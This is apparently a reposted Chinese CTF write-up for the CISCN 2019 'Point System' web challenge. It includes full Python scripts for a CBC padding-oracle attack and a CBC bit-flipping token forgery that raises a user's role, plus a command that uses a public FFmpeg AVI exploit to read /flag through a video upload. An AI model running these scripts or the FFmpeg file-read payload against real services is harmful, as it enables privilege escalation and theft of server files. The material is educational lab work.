[CISCN2019 东北赛区 Day2 Web3]Point System CBC字节翻转攻击

0x01 题目简介

打开是一个登录界面, 访问robots.txt, 发现一个html, 里面是很多api
在这里插入图片描述然后使用postman注册一下
在这里插入图片描述提示注册成功, 但是缺无法登录~~
在这里插入图片描述提示权限不足~~

我们看了一下请求
向login发请求后返回的是

{"code":100,"data":{"token":"eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVSHNGUVI0bG41VkZDOUwwOWVjaGtZaFRXUWdpd1pvaGoyN0pXdDk4LysxWjZsY3ZSbnFBWVpSQmF6Y2UrNVg3dFJJNkdsa3JDVUtaby9qNzJxdnE5TjRHZVNpc2ozQlZZWXZ0OFkzVkZQd2t0SUR5c21DSk10SjdFQWtZSDVTRS93PT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoiTFQ0NXNSOU5SMWpxR0ZsWWJtMUxzeDhWM2l1NEpQT3YiLCJleHBpcmVfaW4iOjE1ODA2Njg5NTF9"}}

向info请求的头中

Cookie: Key=eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVSHNGUVI0bG41VkZDOUwwOWVjaGtZaFRXUWdpd1pvaGoyN0pXdDk4LysxWjZsY3ZSbnFBWVpSQmF6Y2UrNVg3dFJJNkdsa3JDVUtaby9qNzJxdnE5TjRHZVNpc2ozQlZZWXZ0OFkzVkZQd2t0SUR5c21DSk10SjdFQWtZSDVTRS93PT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoiTFQ0NXNSOU5SMWpxR0ZsWWJtMUxzeDhWM2l1NEpQT3YiLCJleHBpcmVfaW4iOjE1ODA2Njg5NTF9

请求后返回的是

{"code":100,"data":{"user_role":3,"uid":1}}

token解码一下看看

{"signed_key":"SUN4a1NpbmdEYW5jZVJhUHsFQR4ln5VFC9L09echkYhTWQgiwZohj27JWt98/+1Z6lcvRnqAYZRBazce+5X7tRI6GlkrCUKZo/j72qvq9N4GeSisj3BVYYvt8Y3VFPwktIDysmCJMtJ7EAkYH5SE/w==","role":3,"user_id":1,"payload":"LT45sR9NR1jqGFlYbm1Lsx8V3iu4JPOv","expire_in":1580668951}

sign_key解码看看

ICxkSingDanceRaP{A%Ÿ•EÒôõç!‘ˆSY"Áš!nÉZß|ÿíYêW/Fz€a”Ak7û•ûµ:Y+	B™£øûÚ«êôÞy(¬pUa‹íñÕü$´€ò²`‰2Ò{	”„ÿ

这个一看就是CBC加密的特征~~(我也是猜的)

0x02 题解

贴出解密的脚本

#!/usr/bin/python2.7
# -*- coding:utf8 -*-

import requests
import base64
import json

host = "25d045c0-f1c9-4a30-b4c2-2cafd48f8f63.node3.buuoj.cn"                                 #url
port = 80                                                                                           #port

def xor(a, b):
    return "".join([chr(ord(a[i]) ^ ord(b[i % len(b)])) for i in range(len(a))])

def padoracle(key):
    user_key_decode = base64.b64decode(key)
    user_key_json_decode = json.loads(user_key_decode)

    signed_key = user_key_json_decode['signed_key']                                         #   CBC加密后的密文,包括VI
    signed_key_decoed = base64.b64decode(signed_key)                                        #   base64解密

    url = "http://" + host + "/frontend/api/v1/user/info"

    N = 16                                                                                  # 分组的大小,可以是16,也可以是8

    total_plain = ''

    for block in range(0, int(len(signed_key) / 16) - 3):

        token = ''

        get = ""

        cipher = signed_key_decoed[16 + block * 16:32 + block * 16]

        for i in range(1, N + 1):

            for j in range(0, 256):

                token = signed_key_decoed[block * 16:16 + block * 16]

                padding = xor(get, chr(i) * (i - 1))

                c = (chr(0) * (16 - i)) + chr(j) + padding + cipher

                token = base64.b64encode(token + c)                                     #解密后重新传参

                user_key_json_decode['signed_key'] = token
                header = {'Key': base64.b64encode(json.dumps(user_key_json_decode))}   #浏览器传送的参数

                res = requests.get(url, headers=header)

                if res.json()['code'] != 205:                                           # 这里的状态码由浏览器决定~~   这里的205表示解密失败
                    get = chr(j ^ i) + get

                    break

        plain = xor(get, signed_key_decoed[block * 16:16 + block * 16])

        total_plain += plain

    return total_plain

plain_text = padoracle("eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVRm1zclQ3a2FGM1FXL29vWDdVcVRpZ215TVl5MFFZK1RlSzMya3hGZW94ay9ZNnkzaG0vaEJXK2lMaXVLdnNNS1NPK1ZQQ0pGSTdPbHJTL0dsYThWWmh1Y3p2NSs4djNXckNJSE5TbVJOS2xBRjREdlI2bDBSbFVaajB6WjgzWGlBPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoid2x1NUUwN1piR3pUNDVRUEhORzVReUpQT2UyNjUwalgiLCJleHBpcmVfaW4iOjE1NTY4NTM2Mzh9")
###整体的base64,浏览器返回的密文~~
print(plain_text)

伪造的脚本

#!/usr/bin/python2.7
# -*- coding:utf8 -*-

import requests
import base64
import json

host = "8601fdaa-b01c-4126-8df2-9ff82b5ba25f.node3.buuoj.cn"                          # url

def cbc_attack(key, block, origin_content, target_content):                 #第一个参数表示整个base64, 第二个参数表示需要伪造的明文在第几块, 第三个参数表示需要伪造那块的原明文,第四个参数表示需要需要伪造的明文
    user_key_decode = base64.b64decode(key)
    user_key_json_decode = json.loads(user_key_decode)                      #base64解密后是一个json格式的字符串

    signed_key = user_key_json_decode['signed_key']                         #加载出密文(包括VI)
    cipher_o = base64.b64decode(signed_key)                                 #base64解密密文

    if block > 0:
        iv_prefix = cipher_o[:block * 16]
    else:
        iv_prefix = ''

    iv = cipher_o[block * 16:16 + block * 16]

    cipher = cipher_o[16 + block * 16:]

    iv_array = bytearray(iv)
    for i in range(0, 16):
        iv_array[i] = iv_array[i] ^ ord(origin_content[i]) ^ ord(target_content[i])         #   $New_ct[1] = $Old_ct[1] ^ $Old_pt[2] ^ $New_pt[2];

    iv = bytes(iv_array)

    user_key_json_decode['signed_key'] = base64.b64encode(iv_prefix + iv + cipher)          #将伪造后的密文base64加密后替换原来的密文

    return base64.b64encode(json.dumps(user_key_json_decode))                               #将json变成字符串,然后再base64加密

def get_user_info(key):
    r = requests.post("http://" + host + "/frontend/api/v1/user/info", headers = {"Key": key})
    if r.json()['code'] == 100:
        print(u"获取成功!")
    return r.json()['data']

def modify_role_palin(key, role):                                                               #这里是因为要求把密文改了,对应的明文也要改,随题目的要求而定~~
    user_key_decode = base64.b64decode(user_key)
    user_key_json_decode = json.loads(user_key_decode)
    user_key_json_decode['role'] = role
    return base64.b64encode(json.dumps(user_key_json_decode))

print(u"翻转 Key:")
user_key = cbc_attack("eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVSHNGUVI0bG41VkZDOUwwOWVjaGtZaFRXUWdpd1pvaGoyN0pXdDk4LysxWk8zOVFWdmRPVzFIYjRkcjFQQTVyNUtGdTNRdTdGNVZHMUJPZVR2SzlWaXpaL2tuQmZpMDUvdDVKTVpoOWdlZkZhQXVRL3B1NkRqbVJkbzhjTVR1Vmt3PT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoiRmNNT2QzWHZQbzI4VTdhazZ1bXRZb0FjWWZtdjREWjUiLCJleHBpcmVfaW4iOjE1ODA4MDk5MDN9", 0, '{"role":3,"user_', '{"role":1,"user_')
user_key = modify_role_palin(user_key, 1)                   # 随题目而定~~
print(user_key)
print(u"测试拉取用户信息:")
user_info = get_user_info(user_key)                             #验证是否伪造成功,状态码随题目而定~~
print(user_info)

这两个脚本都是赵师傅的脚本~~
链接

改完后把新的密文作为key访问, 刷新页面, 成功登录, 发现音频上传的功能.看赵师傅wp说上传不同类型的文件然后下载上传的文件, 对比上传前后文件的md5值发现对avi文件有进行处理, 这个姿势学到了.

我们发现对avi文件有处理
推测其后端利用了 FFMpeg 对视频文件做处理,那么就尝试利用 FFMpeg 的漏洞来读取文件。这里我们使用 https://github.com/neex/ffmpeg-avi-m3u-xbin/blob/master/gen_xbin_avi.py
来生成 payload

执行如下命令

python3 gen_xbin_avi.py file:///flag test.avi

意思是再处理视频时将/flag的内容放在视频的第一帧
然后我们上传我们处理过的视频,再下载处理后的视频~~
第一帧就可以看到flag
在这里插入图片描述

发布了81 篇原创文章 · 获赞 10 · 访问量 1万+

猜你喜欢

转载自blog.csdn.net/a3320315/article/details/104187733
今日推荐